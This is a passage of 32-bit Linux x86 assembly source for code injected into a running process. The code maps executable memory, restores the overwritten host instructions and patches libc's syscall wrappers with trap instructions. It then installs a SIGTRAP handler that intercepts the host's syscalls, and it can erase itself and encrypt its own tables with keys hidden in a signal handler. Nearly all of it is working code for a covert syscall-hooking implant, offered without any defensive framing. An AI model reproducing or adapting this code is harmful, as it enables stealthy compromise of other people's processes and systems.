injerr:      test   eax,eax
           js    _exit
           ret

starter:      ;---[ starter routine ]-----------------:
.savectx      push   eax
           pushad
           pushfd
           mov    ebp,12345678h             ; delta offset of schooker into stack
           starter_GD  equ $-4
           mov    dword[ebp+orig_esp-gdelta],esp  ; save current esp
           mov    eax,[ebp+inj_orig_eip-gdelta]  ; set orig ret address
           mov    dword[esp+_pushfd+_pushad],eax
           push   byte context_size          ; save context data: pushad+pushfd+push
           pop    ecx
           mov    esi,esp
           lea    edi,[ebp+context-gdelta]
           rep    movsb

.alloc_room:   mov    ecx,dword[ebp+room_size-gdelta] ; map a memory area
           xor    eax,eax
           cdq
           push   eax
           dec    eax
           push   eax
           push   byte 22h                ; anon|private
           push   byte 7                  ; read|write|exec
           push   ecx                    ; size
           push   edx
           mov    ebx,esp
           push   byte sc_mmap
           pop    eax
           int    80h
           add    esp,(6*_push)
           dec    edx
           cmp    eax,edx
           je    .restctx                ; mmap fails, restore previous context

.move_code:    inc    edx
           mov    dword[ebp+code_address-gdelta],eax ; save address of the mapped area
           lea    ebx,[eax+setup-schooker]      ; set new entrypoint
           lea    esi,[ebp+schooker-gdelta]
           push   esi
           mov    ecx,(fini-schooker)
           push   ecx
           mov    edi,eax                 ; eax = destination
           rep    movsb                  ; move code
           pop    ecx
           pop    edi
           xor    al,al
           rep    stosb                  ; delete first copy of the code

._start:      call    ebx                   ; jump to entrypoint (schooker)

.restctx:     popfd                        ; in case of error restore
           popad                        ; context previously saved
           ret                         ; and continue execution

schooker:     ;---[ schooker routine ]----------------:
getDelta:     call   _gdelta                 ; code to get delta offset
gdelta:      db    0CCh
_gdelta:      pop    ebp
           ret
setup:       call   getDelta
%ifdef DBG
           pushad
           call   open_logfile              ; open logfile
           lea    ecx,[ebp+dbug_msg1-gdelta]
           call   write_logfile
           popad
%endif
.unprotect:    lea    ecx,[ebp+mpfr_struct-gdelta]
           mov    dword [ecx+mpfr_blk_size],blksz
           lea    ebx,[ebp+self_maps-gdelta]
           mov    dword [ecx+mpfr_path],ebx     ; set block size & mapfile path
           push   ecx                    ; *mpfr
           call   mpfr_open                ; create mpfr for current processa

           mov    edi,dword[ebp+inj_orig_eip-gdelta]
           push   edi                    ; host_code address (eip)
           push   ecx                    ; *mpfr
           call   mpfr_search_by_vaddr        ; get map entry which originally
           add    esp,(3*_push)             ; have contained host code

           mov    ebx,[eax+mapent_start]       ; unprotect this entry
           mov    ecx,[eax+mapent_size]
           push   byte 7h
           pop    edx
           push   byte sc_mprotect
           pop    eax
           int    80h

.rest_hostcode: mov    ecx,[ebp+starter_sz-gdelta]    ; restore the host code that was
           lea    esi,[ebp+host_code-gdelta]    ; replaced by our starter code
           rep    movsb                  ; esi= host code, edi= inj_orig_eip
%ifdef DBG
           pushad
           lea    ecx,[ebp+dbug_msg2-gdelta]
           call   write_logfile
           popad
%endif
.set_globals:  mov    dword[ebp+link_map-gdelta],ecx  ; clean link_map var
           lea    eax,[ebp+mpfr_struct-gdelta]   ; maps = &mpfr_struct, used
           mov    dword[ebp+maps-gdelta],eax    ; by sosr() & mpfr() routines

           lea    eax,[ebp+eraseme-gdelta]      ; if any error is produced, the code
           mov    dword[ebp+sdr-gdelta],eax     ; jump to the "self-deleting routine"
%ifdef TEST_SDR
           call   [ebp+sdr-gdelta]           ; test sdr
%endif
                                      ; check error routines:
           lea    eax,[ebp+ckerr_zero-gdelta]
           mov    dword[ebp+ckfunc-gdelta],eax   ; for functions
           lea    eax,[ebp+ckerr_sone-gdelta]
           mov    dword[ebp+cksys-gdelta],eax    ; for syscalls

           mov    eax,[ebp+code_address-gdelta]
           add    eax,[ebp+room_size-gdelta]
           sub    eax,ade_flagtable_size       ; get&save ade flagtable address
           mov    dword[ebp+ade_flagtable-gdelta],eax ; placed at the end of the segment
           sub    eax,ade_dstruct_size        ; get&save ade disasm struct address
           mov    dword[ebp+ade_dstruct-gdelta],eax ; placed just before the flagtable

.noexec_detect: mov    edx,ecx                 ; non-exec stack detection code:
.get_segvhndl:  push   byte 4                  ; get current sigsegv handler
           pop    ecx
.clean_sigact2: push   edx                    ; sigact struct
           loop   .clean_sigact2
           mov    edx,esp                 ; edx = oldact, ecx = 0
           push   byte sigsegv
           pop    ebx
           push   byte sc_sigaction
           pop    eax
           int    80h
           call   [ebp+cksys-gdelta]
           pop    eax                    ; save oldact->handler
           mov    dword[ebp+orig_segvhndl-gdelta],eax

.set_segvhndl:  xchg   ecx,edx                 ; ecx = act , edx = 0
           lea    eax,[ebp+.sigsegv_hndl-gdelta]
           push   eax                    ; act->handler
           push   byte sc_sigaction          ; register .sigsegv_hndl code
           pop    eax                    ; as the sigsegv handler
           int    80h
           call   [ebp+cksys-gdelta]
           pop    eax
                                      ; stack layout: [ret(1b)][.test_noexec(vaddr4b)]
.gen_segfault:  xor    eax,eax                 ; eax = nonexec stack flag (nxsf)
           lea    esi,[esp-(1+_push)]         ; esi points to "ret" instruction into the stack (esp-1-4)
           mov    byte[esi],byte _retinst      ; put "ret" instr and
           call   esi                    ; jump to it = inserts .test_noexec vaddr

.test_noexec:  cmp    eax,nxsf                ; this test if a segfault was produced or not:
           jne    .rest_segvhndl            ; eax != nxsf: exec stack, noexec = 0 (default)
           inc    byte [ebp+noexec-gdelta]      ; eax  = nxsf: non exec stack (segfault), noexec = 1
           jmp    .rest_segvhndl

.sigsegv_hndl:  mov    edi,esp                 ; just change eip & eax registers of previous ctx
           call   getDelta                ; if this code is being executed a segfault was produced so
           mov    dword[edi+sigfrm_ctx_eax],nxsf  ; stack is not executable : set flag
           lea    eax,[ebp+.test_noexec-gdelta]
           mov    dword[edi+sigfrm_ctx_eip],eax  ; change eip to points at ".test_noexec"
%ifdef  DBG
           pushad
           lea    ecx,[ebp+dbug_msg3-gdelta]
           call   write_logfile
           popad
%endif
           ret                         ; (sigeturn)

.rest_segvhndl: push   dword [ebp+orig_segvhndl-gdelta]; act->handler = orig sigsegv handler
           push   byte sc_sigaction          ; ecx = act, edx = 0
           pop    eax
           int    80h                    ; restore orig handler
           add    esp,byte (4*_push)
           call   [ebp+cksys-gdelta]

           push   byte (sosr_flag_elf32sym+sosr_flag_onetbl)
           lea    eax, [ebp+magic_table-gdelta]
           push   eax
           push   eax
           call   rslv_libcsyms             ; locate syscall wrappers
           add    esp,byte(3*_push)
%ifdef DBG
           pushad
           lea    ecx,[ebp+dbug_msg4-gdelta]
           call   write_logfile
           popad
%endif
           call   patch_scw                ; patch syscall wrappers
%ifdef DBG
           pushad
           lea    ecx,[ebp+dbug_msg5-gdelta]
           call   write_logfile
           popad
%endif
           call   setup_tsd                ; prepare TSD
%ifdef DBG
           pushad
           lea    ecx,[ebp+dbug_msg6-gdelta]
           call   write_logfile
           popad
%endif
           push   sosr_flag_twotbl
           lea    eax,[ebp+func_vatbl-gdelta]
           push   eax
           lea    eax,[ebp+func_hashtbl-gdelta]
           push   eax
           call   rslv_libcsyms
           add    esp,(3*_push)
%ifdef DBG
           pushad
           push   byte 7Fh
           pop    eax
           sub    esp,eax
           mov    ecx,esp
           push   dword[ebp+code_address-gdelta]
           lea    ebx,[ebp+dbug_msg0-gdelta]
           push   ebx
           push   eax
           push   ecx
           call   [ebp+va_snprintf-gdelta]
           pop    ecx
           call   write_logfile
           add    esp,(7Fh+_push*3)
           popad
%endif
           lea    ecx,[ebp+mpfr_struct-gdelta]
           push   ecx
           call   mpfr_close               ; close mpfr
           pop    eax

           mov    byte[ebp+installed-gdelta],dl  ; instalation was success
%ifdef
           call   close_logfile             ; close log_file
%endif
eraseme:      ; --[ eraseme routine ]-----------------: code eraser and context restorer
           mov    esp,dword[ebp+orig_esp-gdelta]  ; place original context into stack:
           mov    edi,esp                 ; registers saved by POPAD & POPFD instructions and
           mov    ecx,(context_size/4)        ; a DWORD which contains the next instruction to be
           lea    esi,[ebp+context-gdelta]      ; executed, the value at the point in which flow
           rep    movsd                  ; was interrupted (orig EIP)

           add    cl,byte 1                ; if the routine was called because of a critical
           installed equ $-1                ; error, unmap the segment which contains the code
           jecxz  restctx                 ; if not, it is last part of the instalation procedure

           mov    ecx,[ebp+noexec-gdelta]      ; if stack is no executable
           dec    ecx                    ; , does not unmap, restore only
           jecxz  restctx

           lea    esi,[ebp+eraser-gdelta]      ; copy eraser & restctx routines
           mov    ecx,(ckerr_zero-eraser)      ; into the stack
           sub    esp,ecx
           mov    edi,esp
           rep    movsb

           push   dword[ebp+orig_esp-gdelta]    ; push orig esp
                                      ; push munmap arguments:
           push   dword[ebp+room_size-gdelta]    ;  arg1: segment size
           push   dword[ebp+code_address-gdelta]  ;  arg2: segment starting address
           push   byte sc_munmap            ;  sysn: munmap number
                                      ;             stack layout:
           lea    edx,[esp+_push*4]          ; [sysn|arg1|arg2|esp|(eraser/restctx)code|context]
           jmp    edx                    ; time to die   &#39;---< esp points to >----|     |
                                      ;                            |     |
eraser:      pop    eax                    ; pop munmap syscall number          |     |
           pop    ebx                    ; pop munmap arg1                 |     |
           pop    ecx                    ; pop munmap arg2                 |     |
           pop    esp                    ; pop esp )----------->-------------------&#39;     |
           int    80h                    ; execute munmap, free mem (must not fail!!)    |
                                      ;                                 |
restctx:      popfd                        ; restore ctx, here esp points to ---------->-----&#39;
           popad
           ret                         ; after ret, eip & esp are restored

ckerr_zero:    test   eax,eax                 ; test if eax == 0
           je    eraseme
           ret
ckerr_sone:    test   eax,eax                 ; test if eax == -1
           js    eraseme
           ret

rslv_libcsyms:  ;---[ rslv_libcsyms ]-------------------: resolve one or more symbols
           pushad                       ; of the libc shared object
           lea    ebx,[ebp+sosr_struct-gdelta]
           mov    esi,dword[esp+_pparam1]      ; arg1 = hashtbl
           lodsd  
           mov    [ebx+sosr_hash_table],esi
           mov    edi,dword[esp+_pparam2]      ; arg2 = vatbl
           mov    [ebx+sosr_va_table],edi
           mov    [ebx+sosr_sym_count],eax
           mov    eax,dword[esp+_pparam3]      ; arg3 = flags
           mov    [ebx+sosr_flags],eax
           lea    eax,[ebp+libcso_map_names-gdelta]
           mov    [ebx+sosr_map_names],eax
           lea    eax,[ebp+libcso_lkm_names-gdelta]
           mov    [ebx+sosr_lkm_names],eax
           push   ebx
           call   sosr
           pop    ebx
           popad
           ret

patch_scw:    ;---[ patch_scw routine ]---------------:
           pushad
.find_seg:    lea    eax,[ebp+libcso_map_names-gdelta]
           push   eax                    ; name list
           lea    eax,[ebp+mpfr_struct-gdelta]
           push   eax                    ; *mpfr
           call   mpfr_search_by_names        ; get map entry of libc&#39;s text segment
           add    esp,(2*_push)
           test   eax,eax
           je    .seg_notfound
.check_seg:    mov    ebx,dword elf_magic         ; check if the entry
           bswap  ebx                    ; found is a text segment
           mov    ecx,dword[eax+mapent_start]
           cmp    ebx,dword[ecx]
           je    .save_seg_info
.seg_notfound:  call   [ebp+sdr-gdelta]           ; seg not found or incorrect: error

.save_seg_info: mov    ecx,dword[eax+mapent_size]    ; save seg base address & size
           mov    dword[ebp+libc_text_size-gdelta],ecx
           mov    ebx,dword[eax+mapent_start]
           mov    dword[ebp+libc_text_base-gdelta],ebx

.unprotect_seg: push   ecx
           push   ebx
           push   byte 7h                 ; enable rwx access
           pop    edx
           push   byte sc_mprotect
           pop    eax
           int    80h
           call   [ebp+cksys-gdelta]

.init_ade:    push   dword[ebp+ade_flagtable-gdelta] ; address of flagtable
           call   ade_init                ; initialize flagtable
           pop    eax
           push   dword[ebp+(magic_table+magic_entnum)-gdelta] ; esp+4 = scw count
           lea    eax,[ebp+(magic_table+magic_entry)-gdelta]
           push   eax                    ; esp+0 = hash table address

.process_scw:  mov    eax,dword[esp]
           mov    ebx,dword[eax+magic_address]   ; ebx = elf32sym address
           mov    edx,dword[ebx+elf_sym_size]    ; edx = ebx->st_size: sym code size
           mov    esi,dword[ebx+elf_sym_value]   ; esi = ebx->st_value: sym code address
           cmp    esi,dword[ebp+libc_text_base-gdelta]
           jae    .va
.rva:        add    esi,dword[ebp+libc_text_base-gdelta]

.va:        lea    ebx,[ebp+ssii_table-gdelta]    ; ebx = ssii table address
           movzx  ecx,byte[ebx]             ; ecx = ssii count
           inc    ebx
           xor    edi,edi
.process_ssii:  call   insert_hook              ; search any ssii within the symbol
           add    edi,eax                 ; code and replace them with a hook
           mov    al,byte[ebx+ssii_next]
           add    ebx,eax
           loop   .process_ssii
           test   edi,edi
           jne    .next_scw
           mov    eax,dword[esp]            ; none was found
           mov    byte[eax+magic_code],magic_badentry

.next_scw:    add    dword[esp],magic_entsize      ; next scw, dec counter
           dec    dword[esp+4]
           jne    .process_scw

           add    esp,(2*_push)

.protect_seg:  pop    ebx                    ; restore the original
           pop    ecx                    ; access protection values
           push   byte 5                  
           pop    edx
           push   byte sc_mprotect
           pop    eax
           int    80h
           call   [ebp+cksys-gdelta]

           popad
           ret

insert_hook:   ; search any ssii within the symbol code and
           ; replace them with hooks. Params:
           ; edx = code size, esi = code start, ebx = ssii desc
           pushad
           xor    eax,eax
           mov    [ebp+ssii_found-gdelta],eax    ; set found var = 0
                                      ; ade_disasm params:
           push   dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
           push   dword[ebp+ade_dstruct-gdelta]  ; p2: disasm struct address
           push   esi                    ; p1: code address

.next_inst:    mov    edi,dword[esp+_push]        ; disassemble one instruction:
           mov    word[edi],0404h            ; set disasm options = 32 bit code
           sub    edx,eax                 ; code size - next instr size (first time eax = 0)
           je    .ret                   ; test if end of code
           add    dword [esp],eax            ; point to next instr (first time eax = 0)

.disasm_instr:  call   ade_disasm               ; ret(eax) = instr size

.check_size:   cmp    al,byte[ebx+ssii_size]       ; * first check: compare size
           jne    .next_inst               ; size not equal, try next instr

.check_content: movzx  ecx,byte[ebx+ssii_contentsz]   ; get bytes to be compared
           lea    edi,[ebx+ssii_content]
           mov    esi,dword[esp]
           repe   cmpsb                  ; * second check: compare instruction content
           jne    .next_inst               ; code not equal, try next instr

           mov    dword[ebp+ssii_found-gdelta],1h ; ssii found: found_var = 1
           push   eax                    ; save instr size
        
.patch       movzx  ecx,byte[ebx+ssii_contentsz]   ; respos esi to the first byte
           sub    esi,ecx                 ; of the instruction
           mov    cl,byte[ebx+ssii_size]       ; get instruction size
           xchg   edi,esi
.write_trap:   push   _trap
           pop    eax
           stosb                        ; insert trap
           push   _nop
           pop    eax
           dec    ecx
.write_nop:    stosb                        ; insert nops
           loop   .write_nop

           pop    eax
           jmp    .next_inst

.ret:        add    esp,(3*_push)
           mov    eax,12345678h
           ssii_found  equ $-4
           mov    dword[esp+_pushad_eax],eax
           popad
           ret

setup_tsd:    ;---[ setup_tsd routine ]---------------:
           pushad
           xor    ecx,ecx
.get_traphndl:  mov    edx,ecx
           mov    cl, byte 4
.clean_sigact:  push   edx                    ; sigaction struct (16b)
           loop   .clean_sigact
           mov    edx,esp                 ; edx = oldact, ecx = 0
           push   byte sigtrap
           pop    ebx
           push   byte sc_sigaction
           pop    eax
           int    80h                    ; get original sigtrap hanlder
           call   [ebp+cksys-gdelta]
           pop    eax
           test   eax,eax
           je    .set_traphndl             ; oldact->handler = 0, no handler
           mov    dword [ebp+orig_traphndl-gdelta],eax ; save oldact->handler

.set_traphndl:  xchg   ecx,edx
           lea    eax, [ebp+tsd-gdelta]
           push   eax                    ; act->handler = new handler address
           push   byte sc_sigaction          ; ecx = act, edx = 0
           pop    eax
           int    80h                    ; set our sigtrap handler: the TSD
           add    esp,(4*_push)
           call   [ebp+cksys-gdelta]

.install_sch:  mov    ecx,[ebp+(magic_table+magic_entnum)-gdelta]
           lea    esi,[ebp+(magic_table+magic_entry)-gdelta]
           mov    edi,esi
.next:       xor    eax,eax                 ; register syscall sub-handlers
           lodsb
           stosb                        ; get syscall number
           call   schndl_lookup             ; get handler for this syscall = eax
           stosd                        ; save handler address
           lodsd
           loop   .next
%ifdef  CRYPT
.gen_keys:    mov    edx,ecx                 ; generate a pair of "random" keys
           lea    ebx,[ebp+dev_random-gdelta]
           push   byte sc_open              ; open /dev/random
           pop    eax                    ; mode = 0, flags = O_RDONLY(0)
           int    80h
           call   [ebp+cksys-gdelta]

           push   byte 4
           pop    edx
           push   ecx
           mov    ecx,esp                 ; ecx = DWORD *val
           xchg   ebx,eax                 ; ebx = /dev/random fd
           push   byte sc_read              ; read a DWORD of random bytes
           pop    eax
           int    80h
           call   [ebp+cksys-gdelta]

           push   byte sc_close
           pop    eax
           int    80h                    ; close /dev/random
           call   [ebp+cksys-gdelta]          ; ret ok = 0
           xchg   ebx,eax

           rdtsc                        ; rdtsc edx:eax
           pop    edx                    ; get DWORD
           push   ebx
           bswap  edx
           xchg   dl,ah                  ; edx = (1st) key for magic table
           xchg   dh,al                  ; eax = (2nd) key for syscall handlers

.save_keys:    xchg   esi,edx
           xchg   edi,eax
           push   esi                    ; sigact->restorer = 1st key
           push   ebx                    ; 0
           push   ebx                    ; 0
           push   esp                    ; sigact->handler = put any valid vaddr
           xchg   edx,ebx                 ; oldact = 0
           mov    ecx,esp                 ; act = esp
           push   byte rt_signal            ; runtime signal SIGRTMIN+3+X
           pop    ebx
           push   byte sc_sigaction
           pop    eax
           int    80h                    ; save first key in a runtime signal
           mov    dword[esp+(3*_push)],edx      ; clean key into stack
           call   [ebp+cksys-gdelta]
           add    esp,(5*_push)
           xchg   edx,esi
           xchg   eax,edi

.encrypt_mtbl:  mov    dword[ebp+_mtbl_begin_-gdelta],eax ; second key is stored in
           xchg   eax,edx                 ; the magic table
           lea    esi,[ebp+_mtbl_begin_-gdelta]
           mov    edi,esi
           mov    ecx,(_mtbl_end_-_mtbl_begin_)/4
           call   xxor